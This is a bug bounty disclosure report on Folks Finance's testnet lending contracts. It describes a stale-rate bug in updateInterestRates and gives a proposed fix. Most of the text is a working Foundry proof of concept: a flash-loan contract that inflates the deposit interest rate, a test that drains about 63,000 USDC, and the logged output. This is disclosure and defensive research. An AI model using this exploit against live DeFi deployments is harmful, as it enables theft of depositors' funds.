Boost _ Folks Finance 33533 - [Smart Contract - Critical] depositDatainterestRate is not correct
Submitted on Mon Jul 22 2024 16:32:36 GMT-0400 (Atlantic Standard Time) by @ethprotector for Boost | Folks Finance
Report ID: #33533
Report type: Smart Contract
Report severity: Critical
Target: https://testnet.snowtrace.io/address/0x96e957bF63B5361C5A2F45C97C46B8090f2745C2
Impacts:
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
In HubPoolLogic.updateInterestRates function depositData.interestRate is not calculated correctly.
Vulnerability Details
function updateInterestRates(HubPoolState.PoolData storage poolData) internal {
        HubPoolState.PoolAmountDataCache memory poolAmountDataCache = getPoolAmountDataCache(poolData);
        uint256 totalDebt = poolAmountDataCache.variableBorrowTotalAmount + poolAmountDataCache.stableBorrowTotalAmount;
        uint256 utilisationRatio = MathUtils.calcUtilisationRatio(totalDebt, poolData.depositData.totalAmount);
        uint32 vr1 = poolData.variableBorrowData.vr1;
        // calculate new interest rates
        uint256 variableBorrowInterestRate = MathUtils.calcVariableBorrowInterestRate(
            poolData.variableBorrowData.vr0,
            vr1,
            poolData.variableBorrowData.vr2,
            utilisationRatio,
            poolData.depositData.optimalUtilisationRatio
        );
        uint256 stableBorrowInterestRate = MathUtils.calcStableBorrowInterestRate(
            vr1,
            poolData.stableBorrowData.sr0,
            poolData.stableBorrowData.sr1,
            poolData.stableBorrowData.sr2,
            poolData.stableBorrowData.sr3,
            utilisationRatio,
            poolData.depositData.optimalUtilisationRatio,
            MathUtils.calcStableDebtToTotalDebtRatio(poolAmountDataCache.stableBorrowTotalAmount, totalDebt),
            poolData.stableBorrowData.optimalStableToTotalDebtRatio
        );
        uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
            utilisationRatio,
            MathUtils.calcOverallBorrowInterestRate(
                poolAmountDataCache.variableBorrowTotalAmount,
                poolAmountDataCache.stableBorrowTotalAmount,
                poolData.variableBorrowData.interestRate,
                poolData.stableBorrowData.averageInterestRate
            ),
            poolData.feeData.retentionRate
        );
        // update interest rates
        poolData.variableBorrowData.interestRate = variableBorrowInterestRate;
        poolData.stableBorrowData.interestRate = stableBorrowInterestRate;
        poolData.depositData.interestRate = depositInterestRate;
        emit InterestRatesUpdated(variableBorrowInterestRate, stableBorrowInterestRate, depositInterestRate);
    }uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
            utilisationRatio,
            MathUtils.calcOverallBorrowInterestRate(
                poolAmountDataCache.variableBorrowTotalAmount,
                poolAmountDataCache.stableBorrowTotalAmount,
                poolData.variableBorrowData.interestRate,
                poolData.stableBorrowData.averageInterestRate
            ),
            poolData.feeData.retentionRate
        );poolData.variableBorrowData.interestRate is not current value. That is for last updates. So if the attacker uses flashloan, when the tx is complated, depositData.interestRate is changed.
Impact Details
Attacker can make the depositData.interestRate more than actual value. So when users (and the attacker) can get more collateral tokens than expected and others loss the money.
Attacker can make the depositData.interestRate smaller than actual value and liquidate some loans.
To fix it
use variableBorrowInterestRate instead of poolData.variableBorrowData.interestRate,
uint256 depositInterestRate = MathUtils.calcDepositInterestRate(
            utilisationRatio,
            MathUtils.calcOverallBorrowInterestRate(
                poolAmountDataCache.variableBorrowTotalAmount,
                poolAmountDataCache.stableBorrowTotalAmount,
                variableBorrowInterestRate,
                poolData.stableBorrowData.averageInterestRate
            ),
            poolData.feeData.retentionRate
        );Proof of concept
Proof of Concept
In this PoC, I am going to show the first case (make the value more).
Create oracleManager.sol
oracleManager.sol// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/DataTypes.sol";
contract OracleManager is IOracleManager{
    function processPriceFeed(uint8 poolId) external view returns (DataTypes.PriceFeed memory priceFeed) {
        priceFeed.price = 1000130000000000000;
        priceFeed.decimals = 6;
    }
}After a year, the contract is break in the testnet. So I used fixed price oracleManager for this test.
Create FlashloanContract.sol
FlashloanContract.sol// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./PoC.sol";
import "./interfaces/IHubCircleTokenPool.sol";
import "./interfaces/ILoanManager.sol";
import "./interfaces/ISpokeCommon.sol";
import "./interfaces/ISpokeCircleToken.sol";
import "./interfaces/IHub.sol";
contract FlashloanContract is IERC3156FlashBorrower{
    ISpokeCommon private _spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
    ISpokeCircleToken private _spokeCircleToken = ISpokeCircleToken(0x89df7db4af48Ec7A84DE09F755ade9AF1940420b);
    IHub private _hub = IHub(0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140);
    IHubCircleTokenPool private _hubCirclePool = IHubCircleTokenPool(0x1968237f3a7D256D08BcAb212D7ae28fEda72c34);
    IERC20 private constant usdcToken = IERC20(0x5425890298aed601595a70AB815c96711a31Bc65);
    ILoanManager private _loanManager = ILoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);
    address private attacker = 0x9FA562675ea0d73519F125AC52Aed6C684f7f2d6;
    address private user = 0xaA868dACbA543AacE30d69177b7d44047c2Fe27A;
    address private admin = 0x16870a6A85cD152229B97d018194d66740f932d6;
    uint256 private _1USDC = 1e6;
    uint256 private _1TOKEN = 1e18;
    bytes32 private attackerAccountId = bytes32("attackerAccountId");
    bytes32 private attackerLoanId = bytes32("attackerLoanId");
    bytes32 private userAccountId = bytes32("userAccountId");
    bytes32 private userLoanId = bytes32("userLoanId");
    bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
    bytes32 private refAccountId;
    uint8 private constant poolId = 128;
    bytes32 private stableLoanId = bytes32("stableLoanId");
    bytes32 private variableLoanId = bytes32("variableLoanId");
    Messages.MessageParams private params;
    constructor() {
        params = Messages.MessageParams({
            adapterId: 1,
            returnAdapterId: 1,
            receiverValue: 0,
            gasLimit: 0,
            returnGasLimit: 0
        });
    }
    function init() external {
        _spokeCommon.createAccount(params, attackerAccountId, refAccountId);
        _spokeCommon.createLoan(params, attackerAccountId, stableLoanId, 2, "stableLoan");
        _spokeCommon.createLoan(params, attackerAccountId, variableLoanId, 2, "variableLoan");
        usdcToken.approve(address(_spokeCircleToken), type(uint256).max);
        uint256 depositAmount = 20_000 * _1USDC;
        _spokeCircleToken.deposit(params, attackerAccountId, stableLoanId, depositAmount);
        _spokeCommon.borrow(params, attackerAccountId, stableLoanId, uint8(128), 1, 9480 * _1USDC, type(uint256).max);
        uint256 fAmount = 5_000 * _1USDC;
        bytes memory data = abi.encodePacked(stableLoanId, poolId, fAmount);
        _hub.directOperation(Messages.Action.WithdrawFToken, attackerAccountId, data);
    }
    function attack() external {
        bytes memory flashLoanData;
        _hubCirclePool.flashLoan(IERC3156FlashBorrower(address(this)), address(_hubCirclePool), 958520 * _1USDC * 10 / 8, flashLoanData);
    }
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        bytes memory data = abi.encodePacked(variableLoanId, poolId, amount);
        _hub.directOperation(Messages.Action.DepositFToken, attackerAccountId, data);
        uint256 borrowAmount = 858519 * _1USDC;
        printData();
        console.log("****************************************************************");
        for (uint256 i; i < 1; i++) {
            console.log("borrow");
            _spokeCommon.borrow(params, attackerAccountId, variableLoanId, poolId, 1, borrowAmount, 0);
            printData();
            console.log("repay");
            _spokeCircleToken.repay(params, attackerAccountId, variableLoanId, borrowAmount, 0);
            console.log("<<< depositData.interestRate increased after repay. >>>");
            printData();
            console.log("-----------------------------------------");
        }
        _hub.directOperation(Messages.Action.WithdrawFToken, attackerAccountId, data);
        _hubCirclePool.approve(address(_hubCirclePool), amount + fee);
        return RETURN_VALUE;
    }
    function withdraw() external {
        ILoanManager.UserLoanBorrow[] memory borrows;
        ILoanManager.UserLoanCollateral[] memory collaterals;
        (,,,,, borrows) = _loanManager.getUserLoan(stableLoanId);
        ILoanManager.UserLoanBorrow memory borrow = borrows[0];
        _spokeCircleToken.repay(params, attackerAccountId, stableLoanId, borrow.amount, 0);
        printData();
        bytes memory data = abi.encodePacked(stableLoanId, poolId, _hubCirclePool.balanceOf(address(this)));
        _hub.directOperation(Messages.Action.DepositFToken, attackerAccountId, data);
        (,,,, collaterals, borrows) = _loanManager.getUserLoan(stableLoanId);
        ILoanManager.UserLoanCollateral memory collateral = collaterals[0];
        borrow = borrows[0];
        _spokeCommon.withdraw(params, attackerAccountId, stableLoanId, poolId, 1, 15000 * _1USDC, true);
        usdcToken.transfer(msg.sender, usdcToken.balanceOf(address(this)));
        _hubCirclePool.transfer(msg.sender, _hubCirclePool.balanceOf(address(this)));
    }
    function printData() private {
        IHubCircleTokenPool.DepositData memory depositData = _hubCirclePool.getDepositData();
        IHubCircleTokenPool.VariableBorrowData memory variableBorrowData = _hubCirclePool.getVariableBorrowData();
        IHubCircleTokenPool.StableBorrowData memory stableBorrowData  = _hubCirclePool.getStableBorrowData();
        uint256 getLastUpdateTimestamp = _hubCirclePool.getLastUpdateTimestamp();
//        console.log("depositData.optimalUtilisationRatio", depositData.optimalUtilisationRatio);
//        console.log("depositData.totalAmount", depositData.totalAmount);
        console.log("depositData.interestRate", depositData.interestRate);
        console.log("depositData.interestIndex", depositData.interestIndex);
        console.log("variableBorrowData.totalAmount", variableBorrowData.totalAmount);
        console.log("variableBorrowData.interestRate", variableBorrowData.interestRate);
        console.log("variableBorrowData.interestIndex", variableBorrowData.interestIndex);
//        console.log("stableBorrowData.optimalStableToTotalDebtRatio", stableBorrowData.optimalStableToTotalDebtRatio);
//        console.log("stableBorrowData.rebalanceUpUtilisationRatio", stableBorrowData.rebalanceUpUtilisationRatio);
//        console.log("stableBorrowData.rebalanceUpDepositInterestRate", stableBorrowData.rebalanceUpDepositInterestRate);
//        console.log("stableBorrowData.rebalanceDownDelta", stableBorrowData.rebalanceDownDelta);
//        console.log("stableBorrowData.totalAmount", stableBorrowData.totalAmount);
        console.log("stableBorrowData.interestRate", stableBorrowData.interestRate);
        console.log("stableBorrowData.averageInterestRate", stableBorrowData.averageInterestRate);
//        console.log("getLastUpdateTimestamp", getLastUpdateTimestamp);
        console.log("utilizationRatio", (variableBorrowData.totalAmount + stableBorrowData.totalAmount) * 10 ** 18 / depositData.totalAmount);
        console.log("");
    }
}
Test contract
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../../src/PoC.sol";
import "../../src/interfaces/IHubCircleTokenPool.sol";
import "../../src/interfaces/ISpokeCommon.sol";
import "../../src/interfaces/ISpokeCircleToken.sol";
import "../../src/interfaces/IHub.sol";
import "../../src/interfaces/ILoanManager.sol";
import "../../src/OracleManager.sol";
import "../../src/interfaces/IBridgeRouter.sol";
import "../../src/FlashloanContract.sol";
contract FolksFinance is PoC {
    ISpokeCommon private _spokeCommon = ISpokeCommon(0x6628cE08b54e9C8358bE94f716D93AdDcca45b00);
    ISpokeCircleToken private _spokeCircleToken = ISpokeCircleToken(0x89df7db4af48Ec7A84DE09F755ade9AF1940420b);
    IHub private _hub = IHub(0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140);
    IHubCircleTokenPool private _hubCirclePool = IHubCircleTokenPool(0x1968237f3a7D256D08BcAb212D7ae28fEda72c34);
    IERC20 private constant usdcToken = IERC20(0x5425890298aed601595a70AB815c96711a31Bc65);
    IBridgeRouter private _bridgeRouter = IBridgeRouter(0xa9491a1f4f058832e5742b76eE3f1F1fD7bb6837);
    ILoanManager private _loanManager = ILoanManager(0x2cAa1315bd676FbecABFC3195000c642f503f1C9);
    address private attacker = 0x9FA562675ea0d73519F125AC52Aed6C684f7f2d6;
    address private user = 0xaA868dACbA543AacE30d69177b7d44047c2Fe27A;
    address private admin = 0x16870a6A85cD152229B97d018194d66740f932d6;
    FlashloanContract private _flashloanContract;
    uint256 private _1USDC = 1e6;
    bytes32 private attackerAccountId = bytes32("attackerAccountId");
    bytes32 private attackerLoanId = bytes32("attackerLoanId");
    bytes32 private userAccountId = bytes32("userAccountId");
    bytes32 private userLoanId = bytes32("userLoanId");
    bytes32 private constant RETURN_VALUE = keccak256("ERC3156FlashBorrower.onFlashLoan");
    bytes32 private refAccountId;
    Messages.MessageParams private _params;
    function setUp() virtual public {
        vm.createSelectFork("avalanche_fuji", 34899929);
        _flashloanContract = new FlashloanContract();
        // update pool config
        vm.startPrank(admin);
        IHubCircleTokenPool.ConfigData memory configData;
        configData.canMintFToken = true;
        configData.flashLoanSupported = true;
        configData.stableBorrowSupported = true;
        _hubCirclePool.updateConfigData(configData);
        OracleManager oracleManager = new OracleManager();
        _hubCirclePool.updateOracleManager(oracleManager);
        _loanManager.updateOracleManager(oracleManager);
        vm.stopPrank();
        _params = Messages.MessageParams({
            adapterId: 1,
            returnAdapterId: 1,
            receiverValue: 0,
            gasLimit: 0,
            returnGasLimit: 0
        });
    }
    function testDepositRate() public {
        {
            vm.startPrank(user);
            _spokeCommon.createAccount(_params, userAccountId, refAccountId);
            _spokeCommon.createLoan(_params, userAccountId, userLoanId, 2, "userLoanId");
            uint256 depositAmount = 1e5 * _1USDC;
            uint256 borrowAmount = 5e4 * _1USDC;
            usdcToken.approve(address(_spokeCircleToken), type(uint256).max);
            _spokeCircleToken.deposit(_params, userAccountId, userLoanId, depositAmount);
            _spokeCommon.borrow(_params, userAccountId, userLoanId, uint8(128), 1, borrowAmount, 0);
            bytes32 userLoan2 = bytes32("userLoan2");
            _spokeCommon.createLoan(_params, userAccountId, userLoan2, 2, "userLoan2");
            _spokeCircleToken.deposit(_params, userAccountId, userLoan2, depositAmount);
            _spokeCommon.borrow(_params, userAccountId, userLoan2, uint8(128), 1, 12_000, type(uint256).max);
            vm.stopPrank();
        }
        uint256 beforeUSDC = usdcToken.balanceOf(attacker);
        uint256 fAmount = _hubCirclePool.balanceOf(attacker);
        {
            vm.startPrank(attacker);
            usdcToken.approve(address(_spokeCircleToken), type(uint256).max);
            bytes32 _accountId = bytes32("_accountId");
            _spokeCommon.createAccount(_params, _accountId, refAccountId);
            // failed this tx
            _spokeCircleToken.deposit(_params, _accountId, _accountId, 8e5 * _1USDC);
            usdcToken.transfer(address(_flashloanContract), 1e6 * _1USDC);
            _flashloanContract.init();
            _flashloanContract.attack();
            bytes memory extraArgs;
            bytes32 messageId = 0xc973b2bb2aa65d8143ee026051dcbaa595f4cb5b5b6a8bbe20cdde04bc8d9e74;
            _bridgeRouter.reverseMessage(1, messageId, extraArgs);
            vm.stopPrank();
        }
        vm.warp(block.timestamp + 365 days);
        vm.prank(user);
        _spokeCircleToken.deposit(_params, attackerAccountId, bytes32(""), 1e5 * _1USDC);
        vm.prank(attacker);
        _flashloanContract.withdraw();
        console.log("beforeUSDC: ", beforeUSDC);
        console.log("fAmount: ", fAmount);
        console.log("afterUSDC: ", usdcToken.balanceOf(attacker));
        console.log("afterFAmount: ", _hubCirclePool.balanceOf(attacker));
        console.log("profit USDC: ", usdcToken.balanceOf(attacker) - beforeUSDC);
    }
}
Output
Logs:
  depositData.interestRate 9233535301192619
  depositData.interestIndex 1000022518591804640
  variableBorrowData.totalAmount 50005000000
  variableBorrowData.interestRate 33400178096754556
  variableBorrowData.interestIndex 1000441722266616308
  stableBorrowData.interestRate 76360071238701822
  stableBorrowData.averageInterestRate 75346171890931368
  utilizationRatio 270303027644827473
  
  ****************************************************************
  borrow
  depositData.interestRate 127019302225650428
  depositData.interestIndex 1000022518591804640
  variableBorrowData.totalAmount 908524000000
  variableBorrowData.interestRate 22210161531424202760
  variableBorrowData.interestIndex 1000441722266616308
  stableBorrowData.interestRate 22232661531424202760
  stableBorrowData.averageInterestRate 75346171890931368
  utilizationRatio 4171399229713630414
  
  repay
  <<< depositData.interestRate increased after repay. >>>
  depositData.interestRate 4544892925919438915
  depositData.interestIndex 1000022518591804640
  variableBorrowData.totalAmount 50005000000
  variableBorrowData.interestRate 33400178096754556
  variableBorrowData.interestIndex 1000441722266616308
  stableBorrowData.interestRate 76360071238701822
  stableBorrowData.averageInterestRate 75346171890931368
  utilizationRatio 270303027644827473
  
  -----------------------------------------
  depositData.interestRate 7035480095729247
  depositData.interestIndex 5545017789099838130
  variableBorrowData.totalAmount 50005000000
  variableBorrowData.interestRate 31018965439825958
  variableBorrowData.interestIndex 1034420951267128594
  stableBorrowData.interestRate 75407586175930383
  stableBorrowData.averageInterestRate 75342362580314536
  utilizationRatio 229822412477041312
  
  beforeUSDC:  4391108956478723
  fAmount:  0
  afterUSDC:  4391172131745559
  afterFAmount:  0
  profit USDC:  63175266836
Last updated
Was this helpful?